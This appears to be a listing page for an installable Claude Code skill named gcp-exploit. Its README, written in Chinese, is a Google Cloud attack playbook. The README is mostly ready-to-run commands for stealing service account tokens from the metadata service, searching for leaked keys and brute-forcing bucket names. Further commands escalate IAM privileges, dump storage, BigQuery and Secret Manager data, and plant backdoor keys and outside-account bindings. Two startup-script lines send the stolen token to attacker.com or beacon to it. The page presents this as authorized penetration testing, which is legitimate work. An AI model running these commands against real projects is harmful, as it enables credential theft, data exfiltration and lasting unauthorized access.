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gcp-exploit

gcp-exploit

github.com/wgpsecSecurity1.8k45 installsUpdated 4d ago
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About gcp-exploit

A GCP environment attack guide for cloud security testers, with examples covering credential discovery, IAM privilege escalation, data access, and persistence.

Key features

  1. 01Inspect Metadata service and service account credentials
  2. 02Enumerate public Cloud Storage buckets
  3. 03Map IAM privilege escalation paths
  4. 04Show Storage and BigQuery access examples
  5. 05Describe persistence via service account keys

Use cases

  1. 01Check GCP credential exposure in authorized assessments
  2. 02Analyze service account permissions and escalation paths
  3. 03Review Bucket and BigQuery data access
  4. 04Assess persistence risks in cloud environments

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill gcp-exploit

After installing, type/gcp-exploitin Claude Code to confirm it loaded.

Bundled filesreferences/gcp-iam-privesc.mdreferences/gke-attack.md

Details

From the project README

GCP 云环境攻击方法论

与 AWS 的区别:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径

⛔ 深入参考


Phase 1: 初始访问与信息收集

1.1 Metadata 服务利用(SSRF → GCP 凭据)
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# 获取项目信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
1.2 Service Account 密钥发现
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;

# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
1.3 Bucket 枚举
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME

# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
  echo "$prefix: $status"
done

# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt

Phase 2: 认证与权限确认

# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json

# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt

# 确认身份
gcloud auth list
gcloud config get-value project

# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
  --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud config get-value account)"

# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"

Phase 3: IAM 提权

3.1 常见提权路径
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略
3.2 利用示例
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
  [email protected]

# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com

# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
  --runtime python39 \
  --trigger-http \
  [email protected] \
  --source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作

# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
  [email protected] \
  --scopes=cloud-platform \
  --metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'

Phase 4: 数据访问

# Storage Bucket 操作
gsutil ls gs://                               # 列出所有 bucket
gsutil ls -r gs://target-bucket/              # 递归列出文件
gsutil cp gs://bucket/secret.txt ./           # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/       # 下载全部

# BigQuery 数据导出
bq ls                                          # 列出 datasets
bq ls project:dataset                         # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password

# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump

Phase 5: 持久化

# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
  [email protected]

# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
  --member='user:[email protected]' --role='roles/editor'

# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon

# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
  --metadata=startup-script='curl https://attacker.com/beacon'

工具速查

工具用途
gcloud CLIGCP 官方工具
GCPBucketBruteBucket 枚举
ScoutSuite多云安全审计
ProwlerGCP 安全检查
GCP IAM Privilege Escalation提权检查工具
HayatGCP 攻击框架

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